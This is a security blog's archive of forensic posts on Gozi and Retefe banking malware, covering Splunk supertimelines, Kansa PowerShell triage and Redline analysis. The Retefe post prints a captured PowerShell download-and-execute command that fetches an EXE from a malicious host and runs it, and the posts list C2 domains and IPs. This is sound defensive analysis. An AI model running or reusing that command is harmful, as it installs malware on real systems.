Showing posts with label incident response. Show all posts
Showing posts with label incident response. Show all posts

Thursday, February 25, 2016

System, Memory and Network Forensic Analysis with Log2timeline and Splunk (part 2)

In my last post, "System, Memory and Network Forensic Analysis with Log2timeline and Splunk" I explained the steps to create a supertimeline from a system timeline, memory timeline and network traffic. Later one, the CSV supertimeline file was imported into Splunk in order to analyse the incident. Now ,it is time to get the hands dirty with Splunk :)

In the case of this scenario we do not have any additional information from the incident, like for example an IDS alert, a proxy alert, or anything else which could give us some hint to investigate.  As I am totally blind, I am going to start looking for the network traffic, checking the DNS traffic as first step.

To do this I run a Splunk query with some regex to extract the time when the DNS query was done and the domain. The output will be a simple table:

index="forensic-investigation" host="Windows7" "Protocol Data: DNS Query" AND NOT wpad.localdomain | rex max_match=10 field=desc ".*DNS Query for (?<domain>.*) Stream Data"| dedup time,domain | table time,domain





From that list, all the domains sound familiar to me, with the exception of "NOTSOURCESUBPROGRAMSAND.COM".  That DNS request was done at 10:10:13

When doing a whois for that domain I see already something interesting:


The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.
Domain Name: NOTSOURCESUBPROGRAMSAND.COM
Registry Domain ID: 2003532384_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.internet.bs
Registrar URL: http://www.internetbs.net
Updated Date: 2016-02-17T09:15:22Z
Creation Date: 2016-02-17T09:15:22Z
Registrar Registration Expiration Date: 2017-02-17T09:15:22Z
Registrar: Internet Domain Service BS Corp.
Registrar IANA ID: 2487
Registrar Abuse Contact Email: abuse@internet.bs
Registrar Abuse Contact Phone: +1.5167401179
Reseller:

This domain has been registered a few days ago. 

Next step, is to search in Splunk for that domain. I filter all the DNS traffic as I am not interested in them. Also, I sort the output in order to have the oldest events as first one in Splunk. 


index="forensic-investigation" host="Windows7"  notsourcesubprogramsand.com AND NOT DNS| sort time

There are several events, and I can see that at 10:10:13 there is a GET for the resource /images/xI_2F7hUY_2BB9o1_2Bly/pegPJtllMxlWViBX/iy10bO2UTfO1Bpt/MEKH0Qs2n7fQbaMGtz/hM7vE8kkL/7Cmu7B0_2FvgdtMMauEo/awWdt4rt7gTmIpwu_2F/NpOEejTs_2FewiNuRTqkUE/yVvWmOAwDDOBceeqCqk/zt6.gif

The IP accessed is 87.98.254.64





The next step is to check all the events involving that IP. I discard the traffic I already now, like DNS, or HTTP GET.


index="forensic-investigation" host="Windows7"  87.98.254.64 AND NOT DNS AND NOT GET





The traffic is the HTTP response from the server. I can see the '200 OK' status. This happened at 10:10:14


This HTTP conversation looks like kind of C&C communication, so I will take the time 10:10:14 as my initial reference time. I am going to check what happened before that moment. For that, I run a query in splunk with a specific time frame (10 minutes in the past)


index="forensic-investigation" host="Windows7" earliest=02/23/2016:10:00:0 latest=02/23/2016:10:10:14




Still there are 508 events in that time frame. This is quite a lot information :)

Let's try to look first to any interesting network activity, besides the HTTP connection discussed before. I run a query in Splunk in order to create a table with all the connections in that time frame. 


index="forensic-investigation" host="Windows7" earliest=02/23/2016:10:00:0 latest=02/23/2016:10:10:14 NOT filename=OS:/mnt/hgfs/angel/malware/gozi/analysis3/timelines.body NOT DNS AND NOT  239.255.255.250 AND NOT 224.0.0.252 AND NOT "192.168.113.255" AND NOT "192.168.113.254" AND NOT "255.255.255.255"| rex field=desc  ".*Source IP: (?<SRCIP>.*) Destination IP: (?<DSTIP>.*) Source Port: (?<SRCPORT>.*) Destination Port: (?<DSTPORT>.*) Protocol: (?<PROTOCOL>.*) Type.*" | table time,SRCIP,SRCPORT,DSTIP,DSTPORT,PROTOCOL




There is just a connection one second before, at 10:10:12 to IP 208.118.113.235. Let's take a look to that event




The connection is an HTTP GET request to www.gnu.org/licenses/gpl.txt at 10:10:12. 
This could be normal behaviour, but also could be something to take into consideration. This malware family is known to access some valid websites to gather some files, usually TXT file, as the 'seed' for their DGA algorithm. This is described in this post http://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature

For the same timeframe, I am going to filter for the events produced in the filesytem, as I already analysed the network part. Dependent on this I will take a look to the memory or just will focus on the file system. Those filter are create with the "filename" which reference to the source of the data.


index="forensic-investigation" host="Windows7" earliest=02/23/2016:10:00:0 latest=02/23/2016:10:10:14 AND NOT filename=OS:/mnt/hgfs/angel/malware/gozi/analysis3/timelines.body AND NOT filename=OS:/mnt/hgfs/angel/malware/gozi/analysis3/capture.pcap





Unfortunately, there is only one event, which is related to a JOB from Chrome, in order to update the browser. This doesn't look related to our incident. It is also a bit far away from the time (10:02:00) I was expecting to have some strange behaviour.


Next step, is to check from the memory the "exe" files executed in that time frame. Maybe this way I am able to detect something anomalous.


index="forensic-investigation" host="Windows7" earliest=02/23/2016:10:00:0 latest=02/23/2016:10:10:14 filename=OS:/mnt/hgfs/angel/malware/gozi/analysis3/timelines.body  *.exe






I find 396 events, so I am going to try to filter the ones which I think could be normal executables from the OS. It is possible that doing this I filter some malicious process which is using the same name than a valid executable, like for example svchost.exe. Some malware use techniques to hide in valid executables. However, usually the initial infection binary has a different name so it would be easy to catch and detect through this approach.

I run the same query than before but filtering some well known binaries: svchost.exe, taskhost.exe, Wireshark.exe, vmtoolsd.exe.


index="forensic-investigation" host="Windows7" earliest=02/23/2016:10:00:0 latest=02/23/2016:10:10:14 filename=OS:/mnt/hgfs/angel/malware/gozi/analysis3/timelines.body  *.exe AND NOT explorer.exe AND NOT "MpCmdRun.exe" AND NOT svchost.exe AND NOT Wireshark.exe AND NOT vmtoolsd.exe AND NOT taskhost.exe

The first result I get is something really interesting:




A binary file "C:\Users\angel\Desktop\47114d41bdaaa118b4d07101514b5ad4e6d181266501ac318a7521760eb6e922.exe" is registered in the "USER ASSIST" register key. This key is used to keep track of all the executed binaries in the system as described here. This event happened at 10:10:06. 


What do we know so far?

-At 10:00:06 a suspicious binary is executed as seen in the memory of the system.
-At 10:00:12 and 10:00:12  there is DNS request to resolve www.gnu.org
-At 10:00:12 there is an HTTP request to www.gnu.org/licenses/gpl.txt
-At 10:00:13 there is a DNS request to notsourcesubprogramsand.com/
-At 10:00:13 there is an HTTP request to notsourcesubprogramsand.com//images/xI_2F7hUY_2BB9o1_2Bly/pegPJtllMxlWViBX/iy10bO2UTfO1Bpt/MEKH0Qs2n7fQbaMGtz/hM7vE8kkL/7Cmu7B0_2FvgdtMMauEo/awWdt4rt7gTmIpwu_2F/NpOEejTs_2FewiNuRTqkUE/yVvWmOAwDDOBceeqCqk/zt6.gif 

What has happened between 10:00:06 and 10:00:12? What happened after the 10:00:13?

More to come :)


Wednesday, February 24, 2016

System, Memory and Network Forensic Analysis with Log2timeline and Splunk

In order to understand an intrusion chain sometimes it is necessary to deal with a a lot of information from different sources at the same time. This can be really a challenge process. 
One of the key points to success is to create a proper timeline of all the events. The timeline of events can be reviewed manually; in some cases using tools like Microsoft Excel, but in some cases tools like Splunk might make our life easier. 

Using the same Gozi malware I wrote about about some days ago, which it is being really very active at the moment, I am going to explain the process to create a proper timeline for evidence from an infected system (files, registers, logs, artifacts..), the memory dump of that same system, and the network traffic capture generated by that system. Then, one the timeline has been created, I will import that data into Splunk, which allows to perform advance searches or even create your own correlation rules base on the data gathered

Supertimeline with Palso: log2timeline.py and psort.py

A very good document of what is supertimeline and the tools involved, is in this post FORENSICS EVIDENCE PROCESSING – SUPER TIMELINE from my friend Luis Rocha. In that post Luis explains how to gather the image of a compromised system to create the timeline.

Log2timeline.py is the main tool in charge of extracting the data. It has lot of parsers. 
In the case of my analysis I am interesting in the parsers for PCAP files and Volatility memory dump.

Timeline from the files system in a Virtual Enviroment

The first step is to extract the evidence from the filesystem. In this case, as am I dealing with a Virtual Machine I can straight forward mount the file where the OS resides. This can be done with the command vmdkmount in a MacOSX system running Vmware Fusion. But similar approach is done in any Virtual environment with ESX or similar.

vmdkmount "Virtual Disk-000001.vmdk" /mnt/vmdk/

After that,  it is necessary to point log2timeline.py to the directory where the files are mounted. The first parameter is the file where to store the output of the analysis (plaso.dump). This will start processing all the data. After a few hours of processing, there are more than 7M events processed and the output file 'plaso.dump' is around 500MB of size.


$ log2timeline.py /mnt/hgfs/angel/malware/gozi/analysis3/plaso.dump /mnt/vmdk/vmdk2
The following partitions were found:
Identifier Offset (in bytes) Size (in bytes)
p1  1048576 (0x00100000) 100.0MiB / 104.9MB (104857600 B)
p2  105906176 (0x06500000) 99.9GiB / 107.3GB (107267227648 B)

Please specify the identifier of the partition that should be processed:
Note that you can abort with Ctrl^C.
p2
The following Volume Shadow Snapshots (VSS) were found:
Identifier VSS store identifier Creation Time
vss1  581c4158-cbea-11e5-8f4b-000c296cf54c 2016-02-10T08:15:27.834308+00:00
vss2  581c41e0-cbea-11e5-8f4b-000c296cf54c 2016-02-10T15:55:13.094999+00:00
vss3  17d17138-d1c0-11e5-8574-000c296cf54c 2016-02-12T19:41:28.401546+00:00
vss4  73502ebb-d1c1-11e5-83be-000c296cf54c 2016-02-12T20:02:28.619844+00:00
vss5  b61505ac-d1c7-11e5-8ecf-000c296cf54c 2016-02-22T16:51:50.095472+00:00
vss6  b6150618-d1c7-11e5-8ecf-000c296cf54c 2016-02-23T02:00:13.750478+00:00
vss7  b61506a9-d1c7-11e5-8ecf-000c296cf54c 2016-02-23T09:38:15.072461+00:00

Please specify the identifier(s) of the VSS that should be processed:
Note that a range of stores can be defined as: 3..5. Multiple stores can
be defined as: 1,3,5 (a list of comma separated values). Ranges and lists can
also be combined as: 1,3..5. The first store is 1. If no stores are specified
none will be processed. You can abort with Ctrl^C.
1,7

Source path    : /mnt/vmdk/vmdk2
Is storage media image or device : True
Partition offset   : 105906176 (0x06500000)
VSS stores    : [1, 2, 3, 4, 5, 6, 7]

2016-02-23 12:21:09,283 [INFO] (MainProcess) PID:33208 <frontend> Starting extraction in multi process mode.
2016-02-23 12:21:16,271 [INFO] (MainProcess) PID:33208 <interface> [PreProcess] Set attribute: sysregistry to /Windows/System32/config
...
...
...
2016-02-23 17:53:08,130 [INFO] (MainProcess) PID:3421 <multi_process> Extraction workers stopped.
2016-02-23 17:53:10,363 [INFO] (StorageProcess) PID:3430 <storage> [Storage] Closing the storage, number of events processed: 7191131
2016-02-23 17:53:10,373 [INFO] (MainProcess) PID:3421 <multi_process> Storage writer stopped.
2016-02-23 17:53:10,391 [INFO] (MainProcess) PID:3421 <log2timeline> Processing completed.





Timeline from a memory dump

Again, as I am dealing with a Virtual Machine, I can use the files where the memory has been dumped from the Virtual System to generate the file memory dump for Volatility.
In MacOSX this is done with the application 'vmss2-core-mac64', which can be dowloaded from VMWare website. 


vmss2core-mac64 -W "Windows 7 x64-11a96bd1.vmss"  "Windows 7 x64-11a96bd1.vmem"

- W: this is to get the memory in Windebug format, which can be easily read by volatility
-*.vmss is the file containing the information of  memory of the Virtual Machine
-*.vmem is the file which contains the memory dump


Once this is done, it is time to extract the timeline of the memory with Volatility through the plugin "timeliner". The output is stored in a temporal file "timelines.body"


$ volatility --profile=Win7SP1x64 -f memory.dmp --output=body timeliner > timelines.body


Last step is to parse the data generated by Volatility to the 'mactime' format and include in the original file, where all the timeline has been stored so far (plaso.dump).

To do so, I run the following command:


$ log2timeline.py --parser "mactime" plaso.dump timelines.body


Timeline from network capture

For this step I use the parser 'pcap' against the capture file. The output will be stored in the 'plaso.dump' file as well.

$ log2timeline.py --parser "pcap" plaso.dump capture.pcap




Generating the CSV with the sorted timeline

plaso.dump contains already all the timeline data from the network, the memory and the system. Now it is time to sort the data and generated a CSV file which can be easily open with excel or any other tool. This is done with the command psort.py.

But our plaso.dump is a 600MB file, full of data, so it is better to only extract all the data which I think is relevant for the analysis of this incident.
In this case, as filter,  I choose all the data from the day before the incident happened. This is done with the 'date'

$ psort.py -o L2tcsv plaso.dump "date > '2016-02-22 23:59:59'" >supertimeline.csv

....
*********************************** Counter ************************************
[INFO]             Stored Events : 7235700
[INFO]            Filter By Date : 7208053
[INFO]           Events Included : 27647
[INFO]        Duplicate Removals : 5168

In the end my supertimeline contains around 27k rows. 

Analysing the data with Excel

When importing the 'supertimeline.csv', and after creating filters, I can see that there are events coming from the system, but also from the pcap file (capture.cap) and the memory timeline (timelines.body), as expected. This means that the timeline is properly consolidate with all the data from different sources.


Looking at the possible filter in one of the rows I see diversity of captured events. Since event logs, many different Windows artifacts, register, MACB time, capture traffic, etc.
This gives an idea of the amount of data extracted.


However, if I have to deal with a CSV file much bigger that this, which is something quite command, or I am dealing with and incident involving many hosts hence I have several different CSV/Timelines the XLS approach could be a nightmare and lot of manual work. 

This is when tools like Splunk show up in the game :)


Analysing the data with Splunk

To import the CSV file in Splunk is really straight forward process. From the search menu, there is already an option to add data. 

  



While importing I already can see the data is there.




The only recommendation is to create a unique index for the specific investigation, in case the Splunk instance is not only used for this purposed. Also, I recommend to insert the real name of the host in the hostname, so it is possible to perform searches base on a specific host (in case there are multiple timelines from multiple hosts), which can facilitate the correlation through different host, for example to detect a possible lateral pivoting.

In the search, we can already start making searches for our specific target host "Windows7".


I could  identified all the DNS responses with a simple query




In next post I will go deeper with the Splunk analysis and queries in order to understand what has happened

Sunday, February 7, 2016

Enterprise Incident Response: detecting Gozi IFSB Malware

Yesterday the Swiss GoverCERT.ch wrote a post about a bug they have found in a malware (Gozi IFSB) currently hitting Swiss financial Institutions. The information references to a post that the same GovCERT.ch wrote about some months ago.
In a nutshell, the threat actors are using some Exploit Kit (EK) that is triggered via an iframe, hosted in a well know advertisement company, in order to install the Gozi IFSB bank trojan on the victim.

In cases like this, and given the fact that the iframe is hosted in very popular website, it might be that many systems in a large enterprise have been infected. As part of an Incident Response planning, it is necessary to be able to check and perform analysis on many systems at the same.  There are several tools which can help on this. I already wrote about some of the well known tools which can help on this like the GRR Respone Framework from Google. However, this tools are not built within the OS, which in some environments might be an issue. Also those tools require additional infrastructure to host the systems acting as server. In such scenarios, it is handy to be able to use some built-in tools within the OS.


Kansa: a Powershell Incident Response Framework

Powershell is a very powerful tool built in Windows OS which can be used to perform deep analysis. Some time ago I was the proctor for a SANS paper in which the student used the Powershell to perform Intrusion Analysis on Windows systems (Intrusion Analysis Using Windows PowerShell (SANS Institute) and I found this quite useful.

Powershell permits to run remote commands encrypted and using Kerberos as authentication mechanism, which is really a must to have when performing incident response in a big enterprise. Microsoft explains how to setup Powershell to execute remotely here.

Taking advantage of the Powershell features David Hull has created a framework named Kansa which is designed to perform Incident Response in live Windows systems.

There are several posts of how to use the framework here and here. 

Running Kansa to detect Gozi IFSB

In the screenshot below, I am running Kansa against a remote host named windows7vm which I suspected has been infected with Gozi. I have enabled several modules to gather information about the processes running, the network connections, the logs from windows, etc.




The output produced is stored in the local system in a subfolder into the kansa folder,  named "Output_*". The different files then can be analysed with some of the analysis plugins that Kansa includes in the analysis folder, for example the processes running in the infected host. 

In the screenshot below I can see the processes running together with the hash of the binary, which can help to detect malicious processes on the system. However, in this case all the process looks normal to me.



One of the things usually Malware try to do is to become persistent in the system. This can be done through different techniques, but one very common is to use some autorun registry keys. As I have run Kansa with the module "AutorunscDeep" enabled, which basically runs autorunscn (from windows sysinternals) in the background, I can investigate all the processes which are run automatically through a registry key.

From the log obtained from Kansa, and with a simple Powershell command, I can search for the autorun registry in order to detect something strange:


cat .\windows7vm-AutorunscDeep.tsv| Select-String "CurrentVersion\\Run"

All the items looks normal, except the last item:




All the entries in the file always reference to binaries in %Program Files% or from c:\Windows\System32\, however the last one references to a binary which is under the AppData folder of the user, where usually are kept configuration files and temporal files for that user, so this file to me is suspicious enough to be investigated. Moreover, I can see when that key was included into register (2/4/2016 3:51 PM) which could be correlated with other information from the incident.


2/4/2016 3:51 PM    HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run    datadWSD    enabled    Logon
windows7vm\angel            c:\users\angel\appdata\roaming\dot3lapi\cmicclnt.exe
C:\Users\angel\AppData\Roaming\dot3lAPI\cmicclnt.exe    963D44F6DA9A6169C2FDADEBC9E5CB9A
6297F514A6370B48AD388C3FA2E861AD9B8B7132    94A87FF2C41DC295A5DDE9A3927B6A122A72D348
051BB725179AD39C5B94CD2BD6180CC3918FC3A637BB48689ABF91AAF2B98CE5
787DD254B568C64B0E52AC61CBB373A2F44E73535B290A513310B92A74F19E48            7.75622395293199    windows7vm
758ebbeb-b3fb-4dbd-abf9-1bebf7313402    True


With Powershell, I can download the suspicious file from the infected system in order to analyse deeper. A command to do it is as follow:


Invoke-Command -ComputerName windows7vm -ScriptBlock {
 Copy-Item -Path c:\users\angel\appdata\roaming\dot3lapi\cmicclnt.exe -Destination c:\Users\angel\Documents
 }

Then, once I have a local copy of the file I can being the analysis on the suspicious binary.




Wednesday, November 18, 2015

Forensic of Retefe malware (windows) with Redline

In the previous post I did the debugging (dynamic analysis) of a fresh APK malware which is part of the Emmental campaign. Also, I mentioned that I got a SMS with the malicious link to the APK, but how did I get that link via a SMS? The answer for this will be in this post. 

Although in my previous posts about Emmental I did not mention it, Emmental is not the only name provided to this this campaign. TrendMicro names it Emmental while other vendors, like PaloAlto, names it Retefe

The campaign is composed of two malware components: once which infects the Windows systems of the victim and the second one which infectes the Android device of the victim. During the first phase of the attack, when the windows system is infected, the bad guys get access to the bank account credentials of the victim, while in the second phase they get 2FA tokens. Also, in phase 1, the victim is invited to put his phone number in order to receive a SMS with the link to the APK (which is supposed to be a legitimate application from the bank). This is basically how to get the link for the APK which I did for previous post.

In previous post I focused the analysis in the Android malware phase, but at this is linked to the Windows infection I'm going to do a bit of analysis on this phase.
For this, I will use the sample 9ed083fa94a1a4d1153f4566309ccd3294bd851b9fa6aff7b6664ef08e1ddda6 which is distributed by email to the victims.
I will use the forensic tool Redline from FireEye.

The full manual of the tool and how to install it is very well explained in the official documentation. For the purpose of this post, and to not repeat the installation process described in the documentation,  I will focus on the analysis of the evidences once are imported in the tool. Obviously, the system has been infected previously with the malware.

Redline interface 

The interface is quite friendly and very intuitive. It is possible to gather all the information about the system, the network, the processed running, the filesystem, registry, memory sections.. and any relevant information from a forensic point of view.




Performing the analysis 

Checking the processes

When performing forensic I always like to do an overview of the processes running and the network connections as first step. With Redline this is very easy to do. Actually, with the 'Hierachical Processes' menu you have straight forward that view. 

One of the interesting things of Redline is that is able to identify suspicious processes and give some additional information about them. In the screenshot below it has identify two suspicious processes and they have been scored with 93 in the MRI (Malware Risk index) (red arrow). Also, another handy thing is that I can 'tag' some of the evidences (green arrow)  which I consider relevant. In this case, there is a powershell command which looks suspicious to me which which I have tagged in red.





If I double click in each of the process I can see the additional information.  For example, for the process marked by Redline as 'Risky' I can see the information around it.


Also, for the other 'PowerShell' process, I can also  see the details of the process:



Arguments: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadFile('http://stars-on-earth.de/neueversion/dtvrtxrcetxrtretec.exe','C:\ProgramData\\Microsoft-KB507196.exe');(New-Object -com Shell.Application).ShellExecute('C:\ProgramData\\Microsoft-KB507196.exe');"

Start time: 2015-11-17 08:42:07Z


Clearly we can see this process is trying to download and EXE file (a dropper, new version of the malware ??) and run it. Also, another interesting evidence is the time when the process was created which can be used as point of reference in the timeline.

Checking the ports

Looking at the ports, I can see all the connections: LISTENING, CLOSED, ESTABLISHED. In this case I am interested in the ESTABLISHED ones and I can see a connection to IP 185.82.216.181 which I label in red.


The IP mentioned below resolves to: tonnelrock.net

Checking the timeline

Looking at the timeline I can see the sequence of events. However, as I already know that some suspicious process timestamp (2015-11-17 08:42:07Z) I can limit the windows frame for the investigation:

I have tagged some evidences I consider relevant. For example, the evidence below, from the LOGS of the system, indicates a Root CA certificate was installed



Going further in the timeline, I also see something suspicious:



There is a change in a REGISTER for the proxy configuration:

https://tonnelrock.net/tonnel.js

This hostname is already familiar to me, from the network connections analysis previously :)

The URL is HTTPS so there is a certificate in the side of the server. Looking at the certificate I see the following:


$ openssl s_client -connect tonnelrock.net:443
CONNECTED(00000003)
depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
verify error:num=27:certificate not trusted
verify return:1
depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
 0 s:/C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
   i:/C=US/ST=CA/L=SanFrancisco/O="thawte, Inc."/OU=Certification Services Division/CN=thawte Primary Root CA - G4/emailAddress=
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIHVjCCBT6gAwIBAgICAPQwDQYJKoZIhvcNAQEFBQAwgawxCzAJBgNVBAYTAlVT
....
UKT8c8+pMujMHzcZ0C/D2kwwuz6aFLR2bGby3ODudXekeDq+abB5V6EIviiAy6sm
88+zbeLKTQnecN1m28BkspBAJsp/YEhTtsusDV0mVL42qYNLF4sCxibOvMzTfzCZ
078tuv4HZ41zCNAu9gwis6/oDEfYDx//gCWncfIeix1+yg9zzQgQGtiXfZOVmENZ
S527xNXnRQmryZcIk9c6oQFzDK6fSWKjwcsEeQYjlfaRlB7IPoTQJrLAVDDpqYzN
ifpf7FdMMVnANg==
-----END CERTIFICATE-----
subject=/C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
issuer=/C=US/ST=CA/L=SanFrancisco/O="thawte, Inc."/OU=Certification Services Division/CN=thawte Primary Root CA - G4/emailAddress=
---
No client certificate CA names sent
---
SSL handshake has read 2051 bytes and written 712 bytes
---
New, TLSv1/SSLv3, Cipher is AES256-SHA
Server public key is 4096 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES256-SHA
    Session-ID: 1E76B036BC3963A968D8645440DD08B4BF6512CD539E321D08BF22A2B0237D46
    Session-ID-ctx:
    Master-Key: 235601F367B3F5FD9C1F4E9BE0DC5C19A55D205FF05FD47E1FF93B20AC19A97DF2E46F3AFE697853201D0B50B7C85BC3
    Key-Arg   : None
    Start Time: 1447842834
    Timeout   : 300 (sec)
    Verify return code: 21 (unable to verify the first certificate)


Interesting the CN field in the certificate. This matches the Root CA certificated installed.

Looking further in the timeline, I see there are some interesting URL accesses. This evidences are gathered by Redline from the browser and included in the timeline. Really handy :)









The URL accessed is from a Swiss Bank https://onba.zkb.ch.  However is the URL accessed by the victim the real one or a fake one?. The host onba.zkb.ch resolves to the IP 62.240.192.149, but there is not any connection to that IP in evidences, however there is a connection to the proxy IP (185.82.216.181) as showed previously in the post. This means basically the URL surfed is not going to the real IP directly, hence likely is the the fake portal.

Actually, digging in the logs we can see there are more access to that URL:





If I try to access one of the static resources, like for example https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg I can see the resources doesn't exist: 

$ wget https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg
--2015-11-18 12:25:15--  https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg
Resolving onba.zkb.ch... 62.240.192.149
Connecting to onba.zkb.ch|62.240.192.149|:443... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-11-18 12:25:15 ERROR 404: Not Found.

That basically confirms that the website was a fake one and that was presented to the victim as the real one in order to steal the bank credentials.
Also, this matches the connection detected to the proxy 185.82.216.181

What is the role of the certificate installed? Basically, the certificate installed allows to present the victim a website with a certificate (HTTPS) without any kind of warning, hence the victim doesn't suspect.

How is the SMS sent? once  the user has accessed his bank account, the fake website asks for the phone number in order to send the application(fake) necessary to access the bank.

Summary

Redline is a very useful tool to perform forensic analysis in Windows. it is very easy to setup and the GUI interface is very friendly to use. The timeline is very powerful as it includes all the evidences which makes very easy to follow up the analysis.
Also, it is possible to investigate specific evidences with a simple click. In this case we saw processes, registers, network connection, logs from the browser.

Regarding Emmental / Refete, I checked briefly what the malware does. Once the binary is executed, it install a Root CA Cert and configure a proxy to redirect the traffic to it. This permits to present the user fake bank websites in order to steal the credentials.